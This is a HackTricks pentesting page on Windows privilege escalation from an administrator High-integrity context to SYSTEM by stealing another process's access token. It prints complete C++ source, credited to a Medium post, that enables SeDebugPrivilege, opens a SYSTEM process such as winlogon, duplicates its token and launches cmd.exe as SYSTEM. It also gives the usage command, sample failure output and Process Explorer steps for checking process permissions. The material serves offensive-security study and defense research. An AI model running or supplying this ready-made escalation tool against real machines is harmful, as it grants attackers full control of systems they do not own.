hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md

<details>

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## Code

The following code was copied from [here](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It allows to **indicate a Process ID as argument** and a CMD **running as the user** of the indicated process will be run.\
Running in a High Integrity process you can **indicate the PID of a process running as System** (like winlogon, wininit) and execute a cmd.exe as system.

```cpp
impersonateuser.exe 1234
```

{% code title="impersonateuser.cpp" %}
```cpp
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
	HANDLE hToken,          // access token handle
	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
	BOOL bEnablePrivilege   // to enable or disable privilege
)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		lpszPrivilege,   // privilege to lookup
		&luid))        // receives LUID of privilege
	{
		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		tp.Privileges[0].Attributes = 0;
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
		return FALSE;
	}
	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
	{
		printf("[-] The token does not have the specified privilege. \n");
		return FALSE;
	}
	return TRUE;
}
std::string get_username()
{
	TCHAR username[UNLEN + 1];
	DWORD username_len = UNLEN + 1;
	GetUserName(username, &username_len);
	std::wstring username_w(username);
	std::string username_s(username_w.begin(), username_w.end());
	return username_s;
}
int main(int argc, char** argv) {
	// Print whoami to compare to thread later
	printf("[+] Current user is: %s\n", (get_username()).c_str());
	// Grab PID from command line argument
	char* pid_c = argv[1];
	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
	// Initialize variables and structures
	HANDLE tokenHandle = NULL;
	HANDLE duplicateTokenHandle = NULL;
	STARTUPINFO startupInfo;
	PROCESS_INFORMATION processInformation;
	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
	startupInfo.cb = sizeof(STARTUPINFO);
	// Add SE debug privilege
	HANDLE currentTokenHandle = NULL;
	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
	{
		printf("[+] SeDebugPrivilege enabled!\n");
	}
	// Call OpenProcess(), print return code and error code
	HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
	if (GetLastError() == NULL)
		printf("[+] OpenProcess() success!\n");
	else
	{
		printf("[-] OpenProcess() Return Code: %i\n", processHandle);
		printf("[-] OpenProcess() Error: %i\n", GetLastError());
	}
	// Call OpenProcessToken(), print return code and error code
	BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
	if (GetLastError() == NULL)
		printf("[+] OpenProcessToken() success!\n");
	else
	{
		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
	}
	// Impersonate user in a thread
	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
	if (GetLastError() == NULL)
	{
		printf("[+] ImpersonatedLoggedOnUser() success!\n");
		printf("[+] Current user is: %s\n", (get_username()).c_str());
		printf("[+] Reverting thread to original user context\n");
		RevertToSelf();
	}
	else
	{
		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
	}
	// Call DuplicateTokenEx(), print return code and error code
	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
	if (GetLastError() == NULL)
		printf("[+] DuplicateTokenEx() success!\n");
	else
	{
		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
	}
	// Call CreateProcessWithTokenW(), print return code and error code
	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
	if (GetLastError() == NULL)
		printf("[+] Process spawned!\n");
	else
	{
		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
	}
	return 0;
}
```
{% endcode %}

## Error

On some occasions you may try to impersonate System and it won't work showing an output like the following:

```cpp
[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326
```

This means that even if you are running on a High Integrity level **you don't have enough permissions**.\
Let's check current Administrator permissions over `svchost.exe` processes with **processes explorer** (or you can also use process hacker):

1. Select a process of `svchost.exe`
2. Right Click --> Properties
3. Inside "Security" Tab click in the bottom right the button "Permissions"
4. Click on "Advanced"
5. Select "Administrators" and click on "Edit"
6. Click on "Show advanced permissions"

![](<../../.gitbook/assets/image (322).png>)

The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of `svchost.exe` they only have "Query" privileges)

See the privileges "Administrators" have over `winlogon.exe`:

![](<../../.gitbook/assets/image (323).png>)

Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.



<details>

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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>